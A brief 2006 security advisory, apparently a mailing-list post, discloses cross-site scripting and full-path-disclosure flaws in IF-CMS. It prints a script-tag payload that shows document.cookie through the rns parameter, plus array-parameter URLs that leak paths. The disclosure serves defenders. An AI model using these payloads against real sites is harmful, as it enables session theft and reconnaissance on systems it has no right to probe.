Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

phpDynaSite <= 3.2.2 (racine) Remote File Include Vulnerabilities

Ariadne v2.4 (store_config[cod e]) Remote File Include Vuln

Ariadne v2.4 (store_config[cod e]) Remote File Include Vuln

SazCart <= 1.5 (cart.php) Remote File Include Vulnerability

From:	laurent gaffié <saps.audit_(at)_gmail.com>
Date:	05.11.2006
Subject:	IF-CMS multiples XSS vunerabilities

vendor site: http://www.rhadrix.com/
risk : low

xss =
/index.php?rns=</title><script>alert(document.
cookie)</script>

full path ( array )
/index.php?rns[]=
/index.php?pag[]=

benjamin mosse & laurent gaffie
http://s-a-p.ca/